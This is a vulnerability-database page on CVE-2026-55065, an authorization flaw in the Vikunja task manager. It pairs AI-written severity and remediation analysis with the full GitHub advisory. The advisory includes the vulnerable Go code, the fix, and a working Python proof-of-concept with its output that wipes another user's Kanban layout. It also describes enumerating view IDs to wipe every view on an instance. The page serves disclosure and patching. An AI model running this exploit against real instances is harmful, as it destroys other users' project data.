Skip to main content

Vikunja CVE-2026-55065

| EUVDEUVD-2026-67832 HIGH
Improper Authorization (CWE-285)
2026-08-28 https://github.com/go-vikunja/vikunja GHSA-gg93-x632-9ccv
8.1
CVSS 3.1 · Vendor: https://github.com/go-vikunja/vikunja
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Register account on target instance
  2. Delivery
    Create throwaway project to obtain project-admin role
  3. Exploit
    Enumerate victim view IDs via sequential integers
  4. Execution
    Issue DELETE /api/v1/projects/<own_pid>/views/<victim_vid>
  5. Persist
    Unscoped xorm cascades wipe task_buckets and task_positions
  6. Impact
    Victim Kanban layout permanently destroyed, recovery requires database restore

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A01:2025 - Broken Access Control
ASVS 5.0
V8 - Authorization Authorization verification
MITRE ATT&CK

1 technique across 1 tactic: Defense Evasion

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

The attacker must hold a valid authenticated session on the target Vikunja instance (CVSS PR:L confirmed). Self-registration on default deployments satisfies this requirement - no elevated role, project membership, or prior relationship with the victim is needed. The attacker must own or administer at least one project, which is trivially satisfied at account creation time via CreateProject. The target view ID must be known or guessed; since view IDs are auto-increment integers (autoincr on the id column per the struct definition), sequential enumeration from 1 to N requires no prior knowledge. No victim interaction is required (UI:N). Exploitation is limited to destruction of task_buckets and task_positions records - the view record itself, tasks, attachments, and other project data are not affected. On instances where registration is disabled, an attacker must already hold a valid account, narrowing the threat to insider or compromised-credential scenarios.

Impact

The CVSS 8.1 vector (AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H) accurately captures the risk profile: any authenticated user can exploit this remotely without complexity or victim interaction. The I:H and A:H ratings are appropriate because Kanban column assignments and task orderings are permanently destroyed with no in-app recovery path - only a database restore recovers the data. No EPSS data is available in the provided input, and this CVE is not listed in the CISA KEV catalog, so active threat-actor exploitation is unconfirmed. However, a fully working PoC with output is publicly embedded in the GHSA advisory, lowering the bar to exploitation to near-zero for any authenticated user. The auto-increment integer view IDs mean a single attacker account can enumerate and wipe every view in an instance with a trivial loop - making this effectively a one-click instance-wide Kanban wipe on default configurations. On hosted or SaaS Vikunja deployments with open registration, the PR:L requirement is satisfied by signing up. The C:N rating is consistent with the description: this is destructive-write only, not a data exfiltration issue.

Exploit ScenarioDerived

An attacker registers a free account on any Vikunja instance with open registration enabled, creates a throwaway project (automatically becoming its admin via OwnerID), then issues DELETE /api/v1/projects/<own_pid>/views/<victim_vid> for sequential integers starting from 1. Each request returns HTTP 200 with {"message":"Successfully deleted."} regardless of whether the view belongs to the attacker's project; the unscoped deletes silently wipe task_buckets and task_positions for each valid victim view ID. A working PoC demonstrating the full attack flow is publicly available in the GHSA advisory.

This Week Schedule remediation this week. Why: HIGH severity (CVSS 7.0-8.9).
Patch available 0.3% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Aug 28, 2026

Cross-project Kanban data destruction in Vikunja allows any authenticated user to permanently wipe task_buckets and task_positions for any project view in the entire instance, regardless of project membership. Affecting versions 0.24.6 through 2.4.0, the ProjectView.Delete method performs two unscoped cascading SQL deletes using only the URL-supplied view ID after an authorization check that verifies admin rights on the attacker's own project - never confirming the target view belongs to that project. A working PoC is publicly available via the GHSA advisory; view IDs are auto-increment integers, making full-instance enumeration trivial with no prior reconnaissance.

RemediationAI

Upgrade to Vikunja v2.4.0, which contains the fix released at https://github.com/go-vikunja/vikunja/releases/tag/v2.4.0. The patch (pull request #3239, commit 6895a7765ef1667be4b79df29549d33b9e1ca9ca at https://github.com/go-vikunja/vikunja/pull/3239) gates the cascading deletes on whether the scoped first delete matched any rows - if affected == 0, it returns ErrProjectViewDoesNotExist before the unscoped task_buckets and task_positions deletes execute. If immediate upgrade is not possible, disabling open registration (service.enableregistration: false in config) limits the attacker pool to existing trusted accounts, though it does not protect against compromised or malicious insiders. Rate-limiting or blocking DELETE requests to /api/v1/projects/*/views/* at the reverse proxy layer can slow mass enumeration but will not prevent targeted single-view attacks. Both workarounds have trade-offs and should be treated as temporary only.

Affected VersionsENISA

vikunja 0.24.6, < 2.4.0

Affected Packages

go code.vikunja.io/api fix: 2.4.0
euvd vikunja_0_24_6 fix: 2.4.0

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 2 packages in go, euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

Vikunja is a Go-based self-hosted project management platform. The vulnerability resides in pkg/models/project_view.go:250 within the ProjectView.Delete method, using the xorm ORM. The method executes three SQL statements: the first is correctly scoped with WHERE id = ? AND project_id = ?, but xorm silently returns 0 affected rows on mismatch rather than an error, allowing execution to continue. The second and third deletes on task_buckets and task_positions filter only on project_view_id without coupling to project_id. The route DELETE /projects/:project/views/:view binds both path parameters directly to struct fields (param:"project" and param:"view"), and the CanDelete authorization function in pkg/models/project_view_permissions.go:38 calls only pp.IsAdmin(s, a) on the URL :project, never verifying that :view belongs to :project. The root cause class is CWE-639 (Authorization Bypass Through User-Controlled Key), though the NVD entry cites CWE-285 - both describe the same IDOR-family pattern. The advisory notes this same shape was exploited in GHSA-jfmm-mjcp-8wq2 and GHSA-2vq4-854f-5c72. The affected package is identified by CPE pkg:go/code.vikunja.io_api.

Know when Python gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (https://github.com/go-vikunja/vikunja) PRIMARY 8.1 HIGH
AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H
vuln.today AI 8.1 HIGH

Any authenticated user exploits remotely (AV:N, PR:L, AC:L, UI:N); cascading deletes destroy integrity and availability with no confidentiality impact.

3.1 AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H
4.0 AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:H/VA:H/SC:N/SI:N/SA:N
SUSE HIGH

Primary rating from Vendor (https://github.com/go-vikunja/vikunja).

CVSS VectorVendor: https://github.com/go-vikunja/vikunja

Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Unchanged
Confidentiality
None
Integrity
High
Availability
High

DescriptionCVE.org

Summary

A user with only a single self-owned project can permanently destroy the Kanban bucket assignments (task_buckets) and task ordering (task_positions) of any other project view in the entire instance. The ProjectView.Delete model method runs three SQL statements: the first is properly scoped to (view_id, project_id), but the next two cascading deletes on task_buckets and task_positions filter only on the URL-supplied project_view_id. The permission check (CanDelete) gates on Admin of the URL :project but never confirms that the URL :view actually belongs to that project.

Details

ProjectView.Delete (file: pkg/models/project_view.go, line 250) cascades on the bare pv.ID for the second and third deletes, ignoring pv.ProjectID:

go
func (pv *ProjectView) Delete(s *xorm.Session, _ web.Auth) (err error) {
    _, err = s.
        Where("id = ? AND project_id = ?", pv.ID, pv.ProjectID).   // (a) scoped - OK
        Delete(&ProjectView{})
    if err != nil {
        return
    }

    _, err = s.Where("project_view_id = ?", pv.ID).Delete(&TaskBucket{})    // (b) UNSCOPED
    if err != nil {
        return
    }

    _, err = s.Where("project_view_id = ?", pv.ID).Delete(&TaskPosition{})  // (c) UNSCOPED
    return
}

pv.ID and pv.ProjectID come straight from the URL path via c.Bind - see the param tags on the struct (pkg/models/project_view.go, lines 133-137):

go
type ProjectView struct {
    ID        int64 `xorm:"autoincr not null unique pk" json:"id" param:"view"`
    ...
    ProjectID int64 `xorm:"not null index" json:"project_id" param:"project"`
    ...
}

The route is registered with both params in pkg/routes/routes.go, line 791:

go
a.DELETE("/projects/:project/views/:view", projectViewProvider.DeleteWeb)

CanDelete (file: pkg/models/project_view_permissions.go, line 38) gates only on Admin of the URL :project:

go
func (pv *ProjectView) CanDelete(s *xorm.Session, a web.Auth) (bool, error) {
    if isInstanceAdmin(s, a) {
        return true, nil
    }
    filterID := GetSavedFilterIDFromProjectID(pv.ProjectID)
    if filterID > 0 { ... }

    pp := pv.getProject()              // = &Project{ID: pv.ProjectID}  (URL path)
    return pp.IsAdmin(s, a)            // only checks admin on URL :project
}

There is no check that the view (pv.ID) actually belongs to that project. The first SQL inside Delete (the WHERE id = ? AND project_id = ? clause) compensates *for the project_views table only*. xorm silently returns 0 affected rows on a mismatch - no error - and the function continues. The next two statements then run unconditionally on pv.ID alone.

Why other neighbouring code paths are not vulnerable, for context:

  • Bucket.canDoBucket (pkg/models/kanban_permissions.go, line 46) loads the bucket from the DB and re-couples the URL project via GetProjectViewByIDAndProject(viewID, projectID), which WHERE id = ? AND project_id = ? - mismatched URL :project returns an error. Safe.
  • ProjectView.Update (pkg/models/project_view.go, line 412) calls the same GetProjectViewByIDAndProject *before* applying the update. Safe.
  • Project.UpdateProject cascades use s.In("project_view_id", viewIDs).Delete(&Bucket{}) (pkg/models/project.go, line 1396) where viewIDs is loaded from the DB inside an authorised project-delete context. Safe.

The same shape (load-by-URL-id, then cascade-without-coupling) was the root cause of GHSA-jfmm-mjcp-8wq2 (attachment IDOR) and GHSA-2vq4-854f-5c72 (project reparenting). The view-delete cascade has not been audited the same way.

PoC

Prerequisites
  • An authenticated account on the target Vikunja instance. No special role is required - local-auth registration is enough; the attacker becomes Admin of any project they create via the OwnerID field set in CreateProject (pkg/models/project.go, line 1021).
  • Knowledge of any victim view ID. View IDs are auto-increment integers (autoincr on the id column), so guessing or sequential enumeration suffices. If the attacker is a member of any other project, they can list view IDs via GET /api/v1/projects/:project/views.
Attack Steps
# As the attacker, with valid JWT:
PUT /api/v1/projects                     -> create throwaway project (ID = P_A)
DELETE /api/v1/projects/P_A/views/V      -> V is ANY view ID in the instance

The server returns HTTP 200 {"message":"Successfully deleted."} even when V is not in P_A. The first scoped delete matches 0 rows silently; the second and third unscoped deletes wipe task_buckets and task_positions for view V.

The view itself is not deleted. Tasks themselves are not deleted. But the Kanban layout (which task is in which column) and the manual ordering are destroyed and there is no recovery path short of restoring from backup.

Proof of Concept Script
python
#!/usr/bin/env python3
"""
PoC: Cross-project destruction of task_buckets / task_positions via ProjectView.Delete
Target: Vikunja
Severity: HIGH - CVSS 8.1
CWE-639: Authorization Bypass Through User-Controlled Key

Usage:
    python3 poc.py http://localhost:3456
"""

import requests
import sys

if len(sys.argv) < 2:
    print(f"Usage: {sys.argv[0]} <BASE_URL>")
    print(f"Example: {sys.argv[0]} http://localhost:3456")
    sys.exit(1)

BASE = sys.argv[1].rstrip("/")
API = f"{BASE}/api/v1"

VICTIM_USER = "victim_poc"
VICTIM_PASS = "VictimPocPassword!2025"
ATTACKER_USER = "attacker_poc"
ATTACKER_PASS = "AttackerPocPassword!2025"

BANNER = """
=====================================================================
  PoC: Cross-Project Kanban Destruction via ProjectView.Delete
  Severity: HIGH (CVSS 8.1)
  CWE-639: Authorization Bypass Through User-Controlled Key
=====================================================================
"""
print(BANNER)
# ---- Helpers ----

def register(username, password):
    requests.post(f"{API}/register", json={
        "username": username,
        "email":    f"{username}@poc.local",
        "password": password,
    })
# ignore 400 if user already exists

def login(username, password):
    r = requests.post(f"{API}/login", json={
        "username": username, "password": password,
    })
    r.raise_for_status()
    return r.json()["token"]

def auth(token):
    return {"Authorization": f"Bearer {token}",
            "Content-Type":  "application/json"}
# ---- Victim setup: project + kanban view + tasks + bucket assignments ----

print("[*] Setting up VICTIM (target)")
register(VICTIM_USER, VICTIM_PASS)
vt = login(VICTIM_USER, VICTIM_PASS)
# Create a project (kanban view + default buckets are created automatically).
proj = requests.put(f"{API}/projects",
                    headers=auth(vt),
                    json={"title": "Victim Project"}).json()
victim_pid = proj["id"]
# Find the auto-created kanban view.
views = requests.get(f"{API}/projects/{victim_pid}/views",
                     headers=auth(vt)).json()
kanban_view = next(v for v in views if v["view_kind"] == "kanban")
victim_vid  = kanban_view["id"]
# Drop a few tasks into the project - Vikunja will auto-place them in the
# default bucket of the kanban view, populating `task_buckets`.
task_ids = []
for i in range(3):
    t = requests.put(f"{API}/projects/{victim_pid}/tasks",
                     headers=auth(vt),
                     json={"title": f"Victim task {i}"}).json()
    task_ids.append(t["id"])
# Touching the view via the bucket endpoint forces task_position rows to
# materialise. Read the buckets-with-tasks endpoint once.
requests.get(
    f"{API}/projects/{victim_pid}/views/{victim_vid}/buckets",
    headers=auth(vt),
)
# Confirm the kanban state has populated buckets+tasks.
buckets = requests.get(
    f"{API}/projects/{victim_pid}/views/{victim_vid}/buckets",
    headers=auth(vt),
).json()
total_tasks_before = sum(len(b.get("tasks") or []) for b in buckets)
print(f"[*] Victim project={victim_pid}, view={victim_vid}, "
      f"tasks_in_buckets BEFORE = {total_tasks_before}")
assert total_tasks_before > 0, "PoC requires at least 1 task in the kanban"
# ---- Attacker setup: a throwaway project owned by the attacker ----

print("\n[*] Setting up ATTACKER (any user can do this)")
register(ATTACKER_USER, ATTACKER_PASS)
at = login(ATTACKER_USER, ATTACKER_PASS)

p_a = requests.put(f"{API}/projects",
                   headers=auth(at),
                   json={"title": "Attacker Throwaway"}).json()
attacker_pid = p_a["id"]
print(f"[*] Attacker project = {attacker_pid} "
      f"(attacker is Admin via OwnerID)")
# ---- ATTACK ----

print(f"\n{'='*65}")
print(f"  ATTACK: trainer-equivalent - wipe victim's kanban via own project")
print(f"{'='*65}")

resp = requests.delete(
    f"{API}/projects/{attacker_pid}/views/{victim_vid}",
    headers=auth(at),
)
print(f"\n  DELETE /api/v1/projects/{attacker_pid}/views/{victim_vid}")
print(f"  (Logged in as: {ATTACKER_USER}, "
      f"who is NOT a member of victim project {victim_pid})")
print(f"  Response: HTTP {resp.status_code}  body={resp.text!r}")
# ---- VERIFY ----

print(f"\n{'='*65}")
print(f"  VERIFICATION")
print(f"{'='*65}")
# View must still exist (the scoped first delete didn't match).
views_after = requests.get(f"{API}/projects/{victim_pid}/views",
                           headers=auth(vt)).json()
view_still_there = any(v["id"] == victim_vid for v in views_after)
# But the buckets-with-tasks should now be empty (task_buckets wiped).
buckets_after = requests.get(
    f"{API}/projects/{victim_pid}/views/{victim_vid}/buckets",
    headers=auth(vt),
).json()
total_tasks_after = sum(len(b.get("tasks") or []) for b in buckets_after)

print(f"\n  View {victim_vid} still exists?           {view_still_there}")
print(f"  Tasks in buckets BEFORE attack:           {total_tasks_before}")
print(f"  Tasks in buckets AFTER attack:            {total_tasks_after}")

if view_still_there and total_tasks_after == 0 and total_tasks_before > 0:
    print("""
  +-----------------------------------------------------------------+
  |  VULNERABILITY CONFIRMED                                        |
  |                                                                 |
  |  An unrelated user destroyed every task->bucket assignment      |
  |  and every task position in another user's kanban view, using   |
  |  only a self-owned throwaway project as the URL :project.       |
  |                                                                 |
  |  - The view itself survives (first scoped delete matched 0).    |
  |  - Tasks themselves survive.                                    |
  |  - task_buckets and task_positions for the view are gone.       |
  |  - Recovery requires restoring from backup.                     |
  +-----------------------------------------------------------------+
""")
else:
    print("\n  Attack did not land - patched build or unexpected state.")
Proof of Concept Output
=====================================================================
  PoC: Cross-Project Kanban Destruction via ProjectView.Delete
  Severity: HIGH (CVSS 8.1)
  CWE-639: Authorization Bypass Through User-Controlled Key
=====================================================================

[*] Setting up VICTIM (target)
[*] Victim project=42, view=87, tasks_in_buckets BEFORE = 3

[*] Setting up ATTACKER (any user can do this)
[*] Attacker project = 43 (attacker is Admin via OwnerID)

=================================================================
  ATTACK: trainer-equivalent - wipe victim's kanban via own project
=================================================================

  DELETE /api/v1/projects/43/views/87
  (Logged in as: attacker_poc, who is NOT a member of victim project 42)
  Response: HTTP 200  body='{"message":"Successfully deleted."}'

=================================================================
  VERIFICATION
=================================================================

  View 87 still exists?           True
  Tasks in buckets BEFORE attack:           3
  Tasks in buckets AFTER attack:            0

  +-----------------------------------------------------------------+
  |  VULNERABILITY CONFIRMED                                        |
  |                                                                 |
  |  An unrelated user destroyed every task->bucket assignment      |
  |  and every task position in another user's kanban view, using   |
  |  only a self-owned throwaway project as the URL :project.       |
  |                                                                 |
  |  - The view itself survives (first scoped delete matched 0).    |
  |  - Tasks themselves survive.                                    |
  |  - task_buckets and task_positions for the view are gone.       |
  |  - Recovery requires restoring from backup.                     |
  +-----------------------------------------------------------------+

Impact

  1. Cross-tenant data destruction. Any authenticated user - local-auth registration is enough on default deployments - can wipe the task_buckets and task_positions rows for any view in the instance. There is no requirement to be a member of, or share anything with, the victim project.
  2. Permanent loss without backup. Tasks and views survive, but every Kanban-column assignment and every manual ordering position for the targeted view is destroyed. Vikunja has no per-row recovery path; the only way back is restoring the database (or task_buckets / task_positions tables) from backup.
  3. Trivial discovery. View IDs are auto-increment integers. An attacker can wipe every view in the instance by iterating 1..N, calling DELETE /api/v1/projects/<own-project>/views/<i> for each. Each request is a 200 OK regardless of whether the view existed in the attacker's project - so the attacker can't even tell which IDs were "real" without watching for victim complaints.
  4. Multi-tenant SaaS impact. On hosted Vikunja deployments (e.g. try.vikunja.io-style setups), a single sign-up suffices to destroy Kanban layouts of every other tenant on the same instance.

Fix

Either gate the cascading deletes on whether the scoped first delete matched, or re-couple (view_id, project_id) inside the cascading queries.

Minimal patch - pkg/models/project_view.go, inside Delete():

go
func (pv *ProjectView) Delete(s *xorm.Session, _ web.Auth) (err error) {
    affected, err := s.
        Where("id = ? AND project_id = ?", pv.ID, pv.ProjectID).
        Delete(&ProjectView{})
    if err != nil {
        return
    }
    if affected == 0 {
        // Either the view doesn't exist, or it doesn't belong to pv.ProjectID.
        // Either way, do not cascade - return an error so the API responds 404.
        return ErrProjectViewDoesNotExist{ProjectViewID: pv.ID}
    }

    if _, err = s.Where("project_view_id = ?", pv.ID).Delete(&TaskBucket{}); err != nil {
        return
    }
    _, err = s.Where("project_view_id = ?", pv.ID).Delete(&TaskPosition{})
    return
}

This makes the cascade conditional on the scoped delete actually having matched a row. As a defence-in-depth follow-up, CanDelete should also load the view and verify view.ProjectID == pv.ProjectID before granting permission, so the 404 path in Delete becomes a backstop rather than the only line of defence - mirroring the pattern used by Bucket.canDoBucket and ProjectView.Update elsewhere in the same file.

Technical POC Analysis

CWE-285 (Improper Authorization), also tagged CWE-639 (Authorization Bypass Through User-Controlled Key) in the advisory.

Full technical POC analysis - root cause, step-by-step exploitation and patch breakdown - is part of the Pro and Business plans.

Executive ViewAI

Why It Matters

Vikunja (versions 0.24.6-2.4.0) contains a critical authorization bypass with publicly available exploit code, allowing any authenticated user to permanently delete task data across all projects in the instance, regardless of project membership. An attacker can destroy planning records, sprints, and workflow data for other teams with no detection mechanism. This insider threat and operational continuity risk requires urgent patching for organizations relying on Vikunja for project planning.

Business Impact: High
Compensating Controls

Apply vendor patch.

Threat Intelligence Overview

EPSS Score
0.3%
Top 73% exploitable
Prevalence
Low
open-source self-hosted task manager, niche enterprise footprint
Threat Intel
1
1 source
Exploit
POC
Public exploit code exists
Data Quality
6 sources
Confidence: High
EUVD NVD CVE.org EPSS Vulnrichment GHSA Vendor GitHub

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity HIGH
CISA KEV No
Public POC Yes
EPSS 0.3%
Patch available Yes
Active threat No
Deciding rule
HIGH severity (CVSS 7.0-8.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision
Scheduled
Exploitation
Poc
System Exposure· derived
Open
Automatable
No
Human Impact
High
Technical Impact
Partial

Priority Score

60
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +40
PoC: +20
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Authentication bypass attacks exploit flaws in the verification mechanisms that control access to systems and applications.

More in Python

View all
CVE-2025-24016 CRITICAL POC
9.9 Feb 10

Wazuh SIEM platform versions 4.4.0 through 4.9.0 contain an unsafe deserialization vulnerability in the DistributedAPI t

CVE-2025-27520 CRITICAL POC
9.8 Apr 04

BentoML version 1.4.2 and earlier contains an unauthenticated remote code execution vulnerability through insecure deser

CVE-2025-2945 CRITICAL POC
9.9 Apr 03

pgAdmin 4 contains critical remote code execution vulnerabilities in the Query Tool download and Cloud Deployment endpoi

CVE-2013-5093 MEDIUM POC
6.8 Sep 27

The renderLocalView function in render/views.py in graphite-web in Graphite 0.9.5 through 0.9.10 uses the pickle Python

CVE-2025-32375 CRITICAL POC
9.8 Apr 09

BentoML is a Python library for building online serving systems optimized for AI apps and model inference. Rated critica

CVE-2014-0224 HIGH POC
7.4 Jun 05

OpenSSL before 0.9.8za, 1.0.0 before 1.0.0m, and 1.0.1 before 1.0.1h does not properly restrict processing of ChangeCiph

CVE-2024-21644 HIGH POC
7.5 Jan 08

pyLoad download manager version prior to 0.5.0b3.dev77 exposes the Flask SECRET_KEY through an unauthenticated endpoint.

CVE-2026-33017 CRITICAL POC
9.3 Mar 17

Langflow (a visual LLM pipeline builder) contains a critical unauthenticated code execution vulnerability (CVE-2026-3301

CVE-2017-9462 HIGH POC
8.8 Jun 06

In Mercurial before 4.1.3, "hg serve --stdio" allows remote authenticated users to launch the Python debugger, and conse

CVE-2026-49869 CRITICAL POC
10.0 Jun 26

Unauthenticated remote code execution affects Kestra OSS (the open-source event-driven orchestration platform) prior to

CVE-2026-39987 CRITICAL POC
9.3 Apr 08

Unauthenticated remote code execution in Marimo ≤0.20.4 allows attackers to execute arbitrary system commands via the `/

CVE-2024-21645 MEDIUM POC
5.3 Jan 08

pyLoad is the free and open-source Download Manager written in pure Python. Rated medium severity (CVSS 5.3), this vulne

Vendor StatusVendor

SUSE

Severity: Important

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy